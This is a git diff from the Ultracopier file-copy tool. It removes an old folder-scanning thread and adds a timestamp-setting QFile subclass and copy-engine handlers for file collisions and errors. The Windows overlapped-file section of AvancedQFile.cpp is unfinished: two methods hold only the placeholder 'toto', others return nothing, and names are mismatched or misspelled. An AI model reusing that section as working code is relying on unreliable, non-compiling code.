- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"size source to list: "+QString::number(sourceIndex)+"/"+QString::number(sources.size()));
- if(stopIt)
- {
- stopped=true;
- return;
- }
- QFileInfo source=sources.at(sourceIndex);
- if(source.isDir())
- {
- /* Bad way; when you copy c:\source\folder into d:\destination, you wait it create the folder d:\destination\folder
- //listFolder(source.absoluteFilePath()+QDir::separator(),destination);
- listFolder(source.absoluteFilePath()+"/",destination);//put unix separator because it's transformed into that's under windows too
- */
- //put unix separator because it's transformed into that's under windows too
- listFolder(source.absolutePath()+"/",destinationFolder.absolutePath()+"/",source.fileName()+"/",source.fileName()+"/");
- }
- else
- emit fileTransfer(source,destination+source.fileName(),mode);
- sourceIndex++;
- }
- stopped=true;
- if(stopIt)
- return;
- emit finishedTheListing();
-}
-
-void scanFileOrFolder::listFolder(const QString& source,const QString& destination,const QString& sourceSuffixPath,QString destinationSuffixPath)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"source: "+source+", destination: "+destination+", sourceSuffixPath: "+sourceSuffixPath+", destinationSuffixPath: "+destinationSuffixPath);
- if(stopIt)
- return;
- QString newSource = source+sourceSuffixPath;
- QString finalDest = destination+destinationSuffixPath;
- //if is same
- if(newSource==finalDest)
- {
- QDir dirSource(newSource);
- emit folderAlreadyExists(dirSource.absolutePath(),finalDest,true);
- waitOneAction.acquire();
- switch(folderExistsAction)
- {
- case FolderExists_Merge:
- break;
- case FolderExists_Skip:
- return;
- break;
- case FolderExists_Rename:
- if(newName=="")
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"pattern: "+folder_isolation.pattern());
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"full: "+destinationSuffixPath);
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"prefix: "+prefix);
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"suffix: "+suffix);
- //resolv the new name
- QFileInfo destinationInfo;
- int num=1;
- do
- {
- if(num==1)
- {
- if(firstRenamingRule=="")
- destinationSuffixPath=tr("%1 - copy").arg(suffix);
- else
- {
- destinationSuffixPath=firstRenamingRule;
- destinationSuffixPath.replace("%name%",suffix);
- }
- }
- else
- {
- if(otherRenamingRule=="")
- destinationSuffixPath=tr("%1 - copy (%2)").arg(suffix).arg(num);
- else
- {
- destinationSuffixPath=otherRenamingRule;
- destinationSuffixPath.replace("%name%",suffix);
- destinationSuffixPath.replace("%number%",QString::number(num));
- }
- }
- num++;
- destinationInfo.setFile(prefix+destinationSuffixPath);
- }
- while(destinationInfo.exists());
- }
- else
- destinationSuffixPath = newName;
- destinationSuffixPath+="/";
- finalDest = destination+destinationSuffixPath;
- break;
- default:
- return;
- break;
- }
- }
- //check if destination exists
- if(checkDestinationExists)
- {
- QDir finalSource(newSource);
- QDir destinationDir(finalDest);
- if(destinationDir.exists())
- {
- emit folderAlreadyExists(finalSource.absolutePath(),destinationDir.absolutePath(),false);
- waitOneAction.acquire();
- switch(folderExistsAction)
- {
- case FolderExists_Merge:
- break;
- case FolderExists_Skip:
- return;
- break;
- case FolderExists_Rename:
- if(newName=="")
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"pattern: "+folder_isolation.pattern());
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"full: "+destinationSuffixPath);
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"prefix: "+prefix);
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"suffix: "+suffix);
- //resolv the new name
- QFileInfo destinationInfo;
- int num=1;
- do
- {
- if(num==1)
- {
- if(firstRenamingRule=="")
- destinationSuffixPath=tr("%1 - copy").arg(suffix);
- else
- {
- destinationSuffixPath=firstRenamingRule;
- destinationSuffixPath.replace("%name%",suffix);
- }
- }
- else
- {
- if(otherRenamingRule=="")
- destinationSuffixPath=tr("%1 - copy (%2)").arg(suffix).arg(num);
- else
- {
- destinationSuffixPath=otherRenamingRule;
- destinationSuffixPath.replace("%name%",suffix);
- destinationSuffixPath.replace("%number%",QString::number(num));
- }
- }
- destinationInfo.setFile(prefix+destinationSuffixPath);
- num++;
- }
- while(destinationInfo.exists());
- }
- else
- destinationSuffixPath = newName;
- destinationSuffixPath+="/";
- finalDest = destination+destinationSuffixPath;
- break;
- default:
- return;
- break;
- }
- }
- }
- //do source check
- QDir finalSource(newSource);
- QFileInfo dirInfo(newSource);
- //check of source is readable
- do
- {
- fileErrorAction=FileError_NotSet;
- if(!dirInfo.isReadable() || !dirInfo.isExecutable() || !dirInfo.exists())
- {
- if(!dirInfo.exists())
- emit errorOnFolder(dirInfo,tr("The folder not exists"));
- else
- emit errorOnFolder(dirInfo,tr("The folder is not readable"));
- waitOneAction.acquire();
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"actionNum: "+QString::number(fileErrorAction));
- }
- } while(fileErrorAction==FileError_Retry);
- /// \todo check here if the folder is not readable or not exists
- QFileInfoList entryList=finalSource.entryInfoList(QDir::AllEntries|QDir::NoDotAndDotDot|QDir::Hidden|QDir::System,QDir::DirsFirst|QDir::Name|QDir::IgnoreCase);//possible wait time here
- int sizeEntryList=entryList.size();
- emit newFolderListing(newSource);
- if(sizeEntryList==0)
- emit addToMkPath(finalDest);
- for (int index=0;index<sizeEntryList;++index)
- {
- QFileInfo fileInfo=entryList.at(index);
- if(stopIt)
- return;
- if(haveFilters)
- {
- if(reloadTheNewFilters)
- {
- QMutexLocker lock(&filtersMutex);
- QCoreApplication::processEvents(QEventLoop::AllEvents);
- reloadTheNewFilters=false;
- this->include=this->include_send;
- this->exclude=this->exclude_send;
- }
- QString fileName=fileInfo.fileName();
- if(fileInfo.isDir())
- {
- bool excluded=false,included=(include.size()==0);
- int filters_index=0;
- while(filters_index<exclude.size())
- {
- if(exclude.at(filters_index).apply_on==ApplyOn_folder || exclude.at(filters_index).apply_on==ApplyOn_fileAndFolder)
- {
- if(fileName.contains(exclude.at(filters_index).regex))
- {
- excluded=true;
- break;
- }
- }
- filters_index++;
- }
- if(excluded)
- {}
- else
- {
- filters_index=0;
- while(filters_index<include.size())
- {
- if(include.at(filters_index).apply_on==ApplyOn_folder || include.at(filters_index).apply_on==ApplyOn_fileAndFolder)
- {
- if(fileName.contains(include.at(filters_index).regex))
- {
- included=true;
- break;
- }
- }
- filters_index++;
- }
- if(!included)
- {}
- else
- listFolder(source,destination,sourceSuffixPath+fileInfo.fileName()+"/",destinationSuffixPath+fileName+"/");
- }
- }
- else
- {
- bool excluded=false,included=(include.size()==0);
- int filters_index=0;
- while(filters_index<exclude.size())
- {
- if(exclude.at(filters_index).apply_on==ApplyOn_file || exclude.at(filters_index).apply_on==ApplyOn_fileAndFolder)
- {
- if(fileName.contains(exclude.at(filters_index).regex))
- {
- excluded=true;
- break;
- }
- }
- filters_index++;
- }
- if(excluded)
- {}
- else
- {
- filters_index=0;
- while(filters_index<include.size())
- {
- if(include.at(filters_index).apply_on==ApplyOn_file || include.at(filters_index).apply_on==ApplyOn_fileAndFolder)
- {
- if(fileName.contains(include.at(filters_index).regex))
- {
- included=true;
- break;
- }
- }
- filters_index++;
- }
- if(!included)
- {}
- else
- emit fileTransfer(fileInfo.absoluteFilePath(),finalDest+fileName,mode);
- }
- }
- }
- else
- {
- if(fileInfo.isDir())//possible wait time here
- //listFolder(source,destination,suffixPath+fileInfo.fileName()+QDir::separator());
- listFolder(source,destination,sourceSuffixPath+fileInfo.fileName()+"/",destinationSuffixPath+fileInfo.fileName()+"/");//put unix separator because it's transformed into that's under windows too
- else
- emit fileTransfer(fileInfo.absoluteFilePath(),finalDest+fileInfo.fileName(),mode);
- }
- }
- if(mode==Move)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"newSource: "+newSource+", sizeEntryList: "+QString::number(sizeEntryList));
- emit addToRmPath(newSource,sizeEntryList);
- }
-}
-
-//set if need check if the destination exists
-void scanFileOrFolder::setCheckDestinationFolderExists(const bool checkDestinationFolderExists)
-{
- this->checkDestinationExists=checkDestinationFolderExists;
-}
-
-void scanFileOrFolder::setRenamingRules(QString firstRenamingRule,QString otherRenamingRule)
-{
- this->firstRenamingRule=firstRenamingRule;
- this->otherRenamingRule=otherRenamingRule;
-}
diff --git a/plugins/CopyEngine/Ultracopier-0.3/scanFileOrFolder.h b/plugins/CopyEngine/Ultracopier-0.3/scanFileOrFolder.h
deleted file mode 100644
index 787d8af..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/scanFileOrFolder.h
+++ /dev/null
@@ -1,87 +0,0 @@
-/** \file scanFileOrFolder.h
-\brief Thread changed to list recursively the folder
-\author alpha_one_x86
-\version 0.3
-\date 2011 */
-
-#include <QThread>
-#include <QStringList>
-#include <QString>
-#include <QList>
-#include <QFileInfo>
-#include <QDir>
-#include <QSemaphore>
-#include <QEventLoop>
-#include <QCoreApplication>
-#include <QMutexLocker>
-
-#include "Environment.h"
-
-#ifndef SCANFILEORFOLDER_H
-#define SCANFILEORFOLDER_H
-
-/// \brief Thread changed to list recursively the folder
-class scanFileOrFolder : public QThread
-{
- Q_OBJECT
-public:
- explicit scanFileOrFolder(CopyMode mode);
- ~scanFileOrFolder();
- /// \brief to the a folder listing
- void stop();
- /// \brief to get if is finished
- bool isFinished();
- /// \brief set action if Folder are same or exists
- void setFolderExistsAction(FolderExistsAction action,QString newName="");
- /// \brief set action if error
- void setFolderErrorAction(FileErrorAction action);
- /// \brief set if need check if the destination exists
- void setCheckDestinationFolderExists(const bool checkDestinationFolderExists);
- void setRenamingRules(QString firstRenamingRule,QString otherRenamingRule);
-signals:
- void fileTransfer(const QFileInfo &source,const QFileInfo &destination,const CopyMode &mode);
- /// \brief To debug source
- void debugInformation(const DebugLevel &level,const QString &fonction,const QString &text,const QString &file,const int &ligne);
- void folderAlreadyExists(const QFileInfo &source,const QFileInfo &destination,const bool &isSame);
- void errorOnFolder(const QFileInfo &fileInfo,const QString &errorString);
- void finishedTheListing();
-
- void newFolderListing(const QString &path);
- void addToMkPath(const QString& folder);
- void addToRmPath(const QString& folder,const int& inodeToRemove);
-public slots:
- void addToList(const QStringList& sources,const QString& destination);
- void setFilters(QList<Filters_rules> include,QList<Filters_rules> exclude);
-protected:
- void run();
-private:
- QStringList sources;
- QString destination;
- volatile bool stopIt;
- void listFolder(const QString& source,const QString& destination,const QString& sourceSuffixPath,QString destinationSuffixPath);
- volatile bool stopped;
- QSemaphore waitOneAction;
- FolderExistsAction folderExistsAction;
- FileErrorAction fileErrorAction;
- volatile bool checkDestinationExists;
- QString newName;
- QRegExp folder_isolation;
- QString prefix;
- QString suffix;
- CopyMode mode;
- QList<Filters_rules> include,exclude;
- QList<Filters_rules> include_send,exclude_send;
- bool reloadTheNewFilters;
- bool haveFilters;
- QMutex filtersMutex;
- QString firstRenamingRule;
- QString otherRenamingRule;
- /** Parse the multiple wildcard source, it allow resolv multiple wildcard with Qt into their path
- * The string: /toto/f*a/yy*a/toto.mp3
- * Will give: /toto/f1a/yy*a/toto.mp3, /toto/f2a/yy*a/toto.mp3
- * Will give: /toto/f2a/yy1a/toto.mp3, /toto/f2a/yy2a/toto.mp3
- */
- QStringList parseWildcardSources(const QStringList &sources);
-};
-
-#endif // SCANFILEORFOLDER_H
diff --git a/plugins/CopyEngine/Ultracopier/AvancedQFile.cpp b/plugins/CopyEngine/Ultracopier/AvancedQFile.cpp
new file mode 100644
index 0000000..3d867fb
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/AvancedQFile.cpp
@@ -0,0 +1,208 @@
+/** \file AvancedQFile.cpp
+\brief Define the QFile herited class to set file date/time
+\author alpha_one_x86 */
+
+#include "AvancedQFile.h"
+
+#ifdef Q_CC_GNU
+//this next header is needed to change file time/date under gcc
+#include <utime.h>
+#include <errno.h>
+#endif
+
+//source
+//hSrc=CreateFile(pData->pfiSrcFile->GetFullFilePath(), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_SEQUENTIAL_SCAN | (bNoBuffer ? FILE_FLAG_NO_BUFFERING | FILE_FLAG_WRITE_THROUGH : 0), NULL);
+//destination
+//hDst=CreateFile(pData->strDstFile, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_SEQUENTIAL_SCAN | (bNoBuffer ? FILE_FLAG_NO_BUFFERING | FILE_FLAG_WRITE_THROUGH : 0), NULL);
+
+bool AvancedQFile::setCreated(const QDateTime &time)
+{
+ time_t ctime=time.toTime_t();
+ #ifdef Q_CC_GNU
+ //creation time not exists into unix world
+ Q_UNUSED(ctime)
+ return true;
+ #else
+ setErrorString(tr("Not supported on this platform"));
+ return false;
+ #endif
+}
+
+bool AvancedQFile::setLastModified(const QDateTime &time)
+{
+ time_t actime=QFileInfo(*this).lastRead().toTime_t();
+ //protect to wrong actime
+ if(actime<0)
+ actime=0;
+ time_t modtime=time.toTime_t();
+ if(modtime<0)
+ {
+ setErrorString(tr("Last modified date is wrong"));
+ return false;
+ }
+ #ifdef Q_CC_GNU
+ //this function avalaible on unix and mingw
+ utimbuf butime;
+ butime.actime=actime;
+ butime.modtime=modtime;
+ int returnVal=utime(this->fileName().toLocal8Bit().data(),&butime);
+ if(returnVal==0)
+ return true;
+ else
+ {
+ setErrorString(strerror(errno));
+ return false;
+ }
+ #else
+ setErrorString(tr("Not supported on this platform"));
+ return false;
+ #endif
+}
+
+bool AvancedQFile::setLastRead(const QDateTime &time)
+{
+ time_t modtime=QFileInfo(*this).lastModified().toTime_t();
+ //protect to wrong actime
+ if(modtime<0)
+ modtime=0;
+ time_t actime=time.toTime_t();
+ if(actime<0)
+ {
+ setErrorString(tr("Last access date is wrong"));
+ return false;
+ }
+ #ifdef Q_CC_GNU
+ //this function avalaible on unix and mingw
+ utimbuf butime;
+ butime.actime=actime;
+ butime.modtime=modtime;
+ int returnVal=utime(this->fileName().toLocal8Bit().data(),&butime);
+ if(returnVal==0)
+ return true;
+ else
+ {
+ setErrorString(strerror(errno));
+ return false;
+ }
+ #else
+ setErrorString(tr("Not supported on this platform"));
+ return false;
+ #endif
+}
+
+#ifdef ULTRACOPIER_OVERLAPPED_FILE
+AvancedQFile::avancedQFile()
+{
+ handle=INVALID_HANDLE_VALUE;
+ fileError=QFileDevice::NoError;
+ fileErrorString.clear();
+}
+
+AvancedQFile::~avancedQFile()
+{
+ close();
+}
+
+QString AvancedQFile::getLastWindowsError()
+{
+ WCHAR ErrorStringW[65535];
+ DWORD dw = GetLastError();
+
+ int size=FormatMessage(
+ FORMAT_MESSAGE_ALLOCATE_BUFFER |
+ FORMAT_MESSAGE_FROM_SYSTEM |
+ FORMAT_MESSAGE_IGNORE_INSERTS,
+ NULL,
+ dw,
+ MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
+ ErrorStringW,
+ 0, NULL );
+ if(size<0)
+ tr("Unknown error: %1").arg(dw);
+ return QString::fromWCharArray(ErrorStringW,size);
+}
+
+bool AvancedQFile::open(OpenMode mode)
+{
+ fileError=QFileDevice::NoError;
+ fileErrorString.clear();
+ WCHAR fileNameW[fileName().size()+1];
+ if(QDir::toNativeSeparators("\\\\?\\"+fileName()).toWCharArray(fileNameW)!=fileName().size())
+ {
+ fileError=QFileDevice::OpenError;
+ fileErrorString=tr("Path conversion error");
+ return false;
+ }
+ fileNameW[fileName().size()]='\0';
+
+ DWORD dwDesiredAccess=0;
+ if(mode & QIODevice::ReadOnly)
+ dwDesiredAccess|=GENERIC_READ;
+ if(mode & QIODevice::WriteOnly)
+ dwDesiredAccess|=GENERIC_Write;
+
+ DWORD dwCreationDisposition;
+ if(mode & QIODevice::WriteOnly)
+ dwCreationDisposition=CREATE_ALWAYS;
+ else
+ dwCreationDisposition=OPEN_EXISTING;
+
+ handle=CreateFile(
+ fileNameW,
+ dwDesiredAccess,
+ 0,
+ 0,
+ dwCreationDisposition,
+ FILE_FLAG_WRITE_THROUGH | FILE_FLAG_SEQUENTIAL_SCAN,
+ 0
+ );
+ if(handle==INVALID_HANDLE_VALUE)
+ {
+ fileError=QFileDevice::OpenError;
+ fileErrorString=getLastWindowsError();
+ }
+ return (handle!=INVALID_HANDLE_VALUE);
+}
+
+void AvancedQFile::close()
+{
+ if(handle==INVALID_HANDLE_VALUE)
+ return;
+ CloseHandle(handle);
+}
+
+bool AvancedQFile::seek(qint64 pos)
+{
+ toto
+}
+
+bool AvancedQFile::resize(qint64 size)
+{
+ toto
+}
+
+QString AvancedQFile::errorString() const
+{
+ if(fileErrorString.isEmpty())
+ return tr("Unknown error");
+ return fileErrorString;
+}
+
+bool AvancedQFile::isOpen() const
+{
+ return (handle!=INVALID_HANDLE_VALUE);
+}
+
+qint64 AvancedQFile::write(const QByteArray &data)
+{
+}
+
+QByteArray AvancedQFile::read(qint64 maxlen)
+{
+}
+
+QFileDevice::FileError AvancedQFile::error() const
+{
+ return fileError;
+}
+#endif
diff --git a/plugins/CopyEngine/Ultracopier/AvancedQFile.h b/plugins/CopyEngine/Ultracopier/AvancedQFile.h
new file mode 100644
index 0000000..8c3dc4a
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/AvancedQFile.h
@@ -0,0 +1,45 @@
+/** \file AvancedQFile.h
+\brief Define the QFile herited class to set file date/time
+\author alpha_one_x86
+\licence GPL3, see the file COPYING */
+
+#ifndef AVANCEDQFILE_H
+#define AVANCEDQFILE_H
+
+#include <QFile>
+#include <QDateTime>
+#include <QFileInfo>
+
+/// \brief devired class from QFile to set time/date on file
+class AvancedQFile : public QFile
+{
+ Q_OBJECT
+public:
+ /// \brief set created date, not exists in unix world
+ bool setCreated(const QDateTime &time);
+ /// \brief set last modification date
+ bool setLastModified(const QDateTime &time);
+ /// \brief set last read date
+ bool setLastRead(const QDateTime &time);
+
+ #ifdef ULTRACOPIER_OVERLAPPED_FILE
+ explicit AvancedQFile();
+ ~AvancedQFile();
+ bool open(OpenMode mode);
+ void close();
+ bool seek(qint64 pos);
+ bool resize(qint64 size);
+ QString errorString() const;
+ bool isOpen() const;
+ qint64 write(const QByteArray &data);
+ QByteArray read(qint64 maxlen);
+ FileError error() const;
+ QString getLastWindowsError();
+private:
+ HANDLE handle;
+ FileError fileError;
+ QString fileErrorString;
+ #endif
+};
+
+#endif // AVANCEDQFILE_H
diff --git a/plugins-alternative/CopyEngine/Rsync/CompilerInfo.h b/plugins/CopyEngine/Ultracopier/CompilerInfo.h
index 84625b9..84625b9 100644
--- a/plugins-alternative/CopyEngine/Rsync/CompilerInfo.h
+++ b/plugins/CopyEngine/Ultracopier/CompilerInfo.h
diff --git a/plugins/CopyEngine/Ultracopier/CopyEngine-collision-and-error.cpp b/plugins/CopyEngine/Ultracopier/CopyEngine-collision-and-error.cpp
new file mode 100644
index 0000000..5315c84
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/CopyEngine-collision-and-error.cpp
@@ -0,0 +1,567 @@
+/** \file copyEngine.cpp
+\brief Define the copy engine
+\author alpha_one_x86 */
+
+#include "CopyEngine.h"
+#include "FolderExistsDialog.h"
+#include "DiskSpace.h"
+
+//dialog message
+/// \note Can be call without queue because all call will be serialized
+void CopyEngine::fileAlreadyExistsSlot(QFileInfo source,QFileInfo destination,bool isSame,TransferThread * thread)
+{
+ fileAlreadyExists(source,destination,isSame,thread);
+}
+
+/// \note Can be call without queue because all call will be serialized
+void CopyEngine::errorOnFileSlot(QFileInfo fileInfo,QString errorString,TransferThread * thread,const ErrorType &errorType)
+{
+ errorOnFile(fileInfo,errorString,thread,errorType);
+}
+
+/// \note Can be call without queue because all call will be serialized
+void CopyEngine::folderAlreadyExistsSlot(QFileInfo source,QFileInfo destination,bool isSame,ScanFileOrFolder * thread)
+{
+ folderAlreadyExists(source,destination,isSame,thread);
+}
+
+/// \note Can be call without queue because all call will be serialized
+void CopyEngine::errorOnFolderSlot(QFileInfo fileInfo,QString errorString,ScanFileOrFolder * thread,ErrorType errorType)
+{
+ errorOnFolder(fileInfo,errorString,thread,errorType);
+}
+
+//mkpath event
+void CopyEngine::mkPathErrorOnFolderSlot(QFileInfo folder,QString error,ErrorType errorType)
+{
+ mkPathErrorOnFolder(folder,error,errorType);
+}
+
+/// \note Can be call without queue because all call will be serialized
+void CopyEngine::fileAlreadyExists(QFileInfo source,QFileInfo destination,bool isSame,TransferThread * thread,bool isCalledByShowOneNewDialog)
+{
+ if(stopIt)
+ return;
+ if(thread==NULL)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to locate the thread");
+ return;
+ }
+ //load the action
+ if(isSame)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"file is same: "+source.absoluteFilePath());
+ FileExistsAction tempFileExistsAction=alwaysDoThisActionForFileExists;
+ if(tempFileExistsAction==FileExists_Overwrite || tempFileExistsAction==FileExists_OverwriteIfNewer || tempFileExistsAction==FileExists_OverwriteIfNotSame || tempFileExistsAction==FileExists_OverwriteIfOlder)
+ tempFileExistsAction=FileExists_NotSet;
+ switch(tempFileExistsAction)
+ {
+ case FileExists_Skip:
+ case FileExists_Rename:
+ thread->setFileExistsAction(tempFileExistsAction);
+ break;
+ default:
+ if(dialogIsOpen)
+ {
+ alreadyExistsQueueItem newItem;
+ newItem.source=source;
+ newItem.destination=destination;
+ newItem.isSame=isSame;
+ newItem.transfer=thread;
+ newItem.scan=NULL;
+ alreadyExistsQueue << newItem;
+ return;
+ }
+ dialogIsOpen=true;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"show dialog");
+ FileIsSameDialog dialog(interface,source,firstRenamingRule,otherRenamingRule);
+ emit isInPause(true);
+ dialog.exec();/// \bug crash when external close
+ FileExistsAction newAction=dialog.getAction();
+ emit isInPause(false);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"close dialog: "+QString::number(newAction));
+ if(newAction==FileExists_Cancel)
+ {
+ emit cancelAll();
+ return;
+ }
+ if(dialog.getAlways() && newAction!=alwaysDoThisActionForFileExists)
+ {
+ alwaysDoThisActionForFileExists=newAction;
+ listThread->setAlwaysFileExistsAction(alwaysDoThisActionForFileExists);
+ if(uiIsInstalled)
+ switch(newAction)
+ {
+ default:
+ case FileExists_Skip:
+ ui->comboBoxFileCollision->setCurrentIndex(1);
+ break;
+ case FileExists_Rename:
+ ui->comboBoxFileCollision->setCurrentIndex(6);
+ break;
+ }
+ }
+ if(dialog.getAlways() || newAction!=FileExists_Rename)
+ thread->setFileExistsAction(newAction);
+ else
+ thread->setFileRename(dialog.getNewName());
+ dialogIsOpen=false;
+ if(!isCalledByShowOneNewDialog)
+ emit queryOneNewDialog();
+ return;
+ break;
+ }
+ }
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"file already exists: "+source.absoluteFilePath()+", destination: "+destination.absoluteFilePath());
+ FileExistsAction tempFileExistsAction=alwaysDoThisActionForFileExists;
+ switch(tempFileExistsAction)
+ {
+ case FileExists_Skip:
+ case FileExists_Rename:
+ case FileExists_Overwrite:
+ case FileExists_OverwriteIfNewer:
+ case FileExists_OverwriteIfOlder:
+ case FileExists_OverwriteIfNotSame:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"always do this action: "+QString::number(tempFileExistsAction));
+ thread->setFileExistsAction(tempFileExistsAction);
+ break;
+ default:
+ if(dialogIsOpen)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("dialog open, put in queue: %1 %2")
+ .arg(source.absoluteFilePath())
+ .arg(destination.absoluteFilePath())
+ );
+ alreadyExistsQueueItem newItem;
+ newItem.source=source;
+ newItem.destination=destination;
+ newItem.isSame=isSame;
+ newItem.transfer=thread;
+ newItem.scan=NULL;
+ alreadyExistsQueue << newItem;
+ return;
+ }
+ dialogIsOpen=true;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"show dialog");
+ FileExistsDialog dialog(interface,source,destination,firstRenamingRule,otherRenamingRule);
+ emit isInPause(true);
+ dialog.exec();/// \bug crash when external close
+ FileExistsAction newAction=dialog.getAction();
+ emit isInPause(false);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"close dialog: "+QString::number(newAction));
+ if(newAction==FileExists_Cancel)
+ {
+ emit cancelAll();
+ return;
+ }
+ if(dialog.getAlways() && newAction!=alwaysDoThisActionForFileExists)
+ {
+ alwaysDoThisActionForFileExists=newAction;
+ listThread->setAlwaysFileExistsAction(alwaysDoThisActionForFileExists);
+ if(uiIsInstalled)
+ switch(newAction)
+ {
+ default:
+ case FileExists_Skip:
+ ui->comboBoxFileCollision->setCurrentIndex(1);
+ break;
+ case FileExists_Rename:
+ ui->comboBoxFileCollision->setCurrentIndex(6);
+ break;
+ case FileExists_Overwrite:
+ ui->comboBoxFileCollision->setCurrentIndex(2);
+ break;
+ case FileExists_OverwriteIfNotSame:
+ ui->comboBoxFileCollision->setCurrentIndex(3);
+ break;
+ case FileExists_OverwriteIfNewer:
+ ui->comboBoxFileCollision->setCurrentIndex(4);
+ break;
+ case FileExists_OverwriteIfOlder:
+ ui->comboBoxFileCollision->setCurrentIndex(5);
+ break;
+ }
+ }
+ if(dialog.getAlways() || newAction!=FileExists_Rename)
+ thread->setFileExistsAction(newAction);
+ else
+ thread->setFileRename(dialog.getNewName());
+ dialogIsOpen=false;
+ if(!isCalledByShowOneNewDialog)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"emit queryOneNewDialog()");
+ emit queryOneNewDialog();
+ }
+ return;
+ break;
+ }
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"stop");
+}
+
+void CopyEngine::haveNeedPutAtBottom(bool needPutAtBottom, const QFileInfo &fileInfo, const QString &errorString,TransferThread *thread,const ErrorType &errorType)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ if(!needPutAtBottom)
+ {
+ alwaysDoThisActionForFileError=FileError_NotSet;
+ if(uiIsInstalled)
+ ui->comboBoxFileError->setCurrentIndex(0);
+ errorQueueItem newItem;
+ newItem.errorString=errorString;
+ newItem.inode=fileInfo;
+ newItem.mkPath=false;
+ newItem.rmPath=false;
+ newItem.scan=NULL;
+ newItem.transfer=thread;
+ newItem.errorType=errorType;
+ errorQueue << newItem;
+ showOneNewDialog();
+ }
+}
+
+void CopyEngine::missingDiskSpace(QList<Diskspace> list)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"show dialog");
+ DiskSpace dialog(facilityEngine,list,interface);
+ emit isInPause(true);
+ dialog.exec();/// \bug crash when external close
+ bool ok=dialog.getAction();
+ emit isInPause(false);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"cancel: "+QString::number(ok));
+ if(!ok)
+ emit cancelAll();
+ else
+ listThread->autoStartIfNeeded();
+}
+
+/// \note Can be call without queue because all call will be serialized
+void CopyEngine::errorOnFile(QFileInfo fileInfo,QString errorString,TransferThread * thread,const ErrorType &errorType,bool isCalledByShowOneNewDialog)
+{
+ if(stopIt)
+ return;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"file have error: "+fileInfo.absoluteFilePath()+", error: "+errorString);
+ if(thread==NULL)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to locate the thread");
+ return;
+ }
+ //load the action
+ FileErrorAction tempFileErrorAction=alwaysDoThisActionForFileError;
+ switch(tempFileErrorAction)
+ {
+ case FileError_Skip:
+ thread->skip();
+ return;
+ case FileError_Retry:
+ thread->retryAfterError();
+ return;
+ case FileError_PutToEndOfTheList:
+ emit getNeedPutAtBottom(fileInfo,errorString,thread,errorType);
+ return;
+ case FileError_Cancel:
+ return;
+ default:
+ if(dialogIsOpen)
+ {
+ errorQueueItem newItem;
+ newItem.errorString=errorString;
+ newItem.inode=fileInfo;
+ newItem.mkPath=false;
+ newItem.rmPath=false;
+ newItem.scan=NULL;
+ newItem.transfer=thread;
+ newItem.errorType=errorType;
+ errorQueue << newItem;
+ return;
+ }
+ dialogIsOpen=true;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"show dialog");
+ emit error(fileInfo.absoluteFilePath(),fileInfo.size(),fileInfo.lastModified(),errorString);
+ FileErrorDialog dialog(interface,fileInfo,errorString,errorType);
+ emit isInPause(true);
+ dialog.exec();/// \bug crash when external close
+ FileErrorAction newAction=dialog.getAction();
+ emit isInPause(false);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"close dialog: "+QString::number(newAction));
+ if(newAction==FileError_Cancel)
+ {
+ emit cancelAll();
+ return;
+ }
+ if(dialog.getAlways() && newAction!=alwaysDoThisActionForFileError)
+ {
+ alwaysDoThisActionForFileError=newAction;
+ if(uiIsInstalled)
+ switch(newAction)
+ {
+ default:
+ case FileError_Skip:
+ ui->comboBoxFileError->setCurrentIndex(1);
+ break;
+ case FileError_PutToEndOfTheList:
+ ui->comboBoxFileError->setCurrentIndex(2);
+ break;
+ }
+ }
+ switch(newAction)
+ {
+ case FileError_Skip:
+ thread->skip();
+ break;
+ case FileError_Retry:
+ thread->retryAfterError();
+ break;
+ case FileError_PutToEndOfTheList:
+ thread->putAtBottom();
+ break;
+ default:
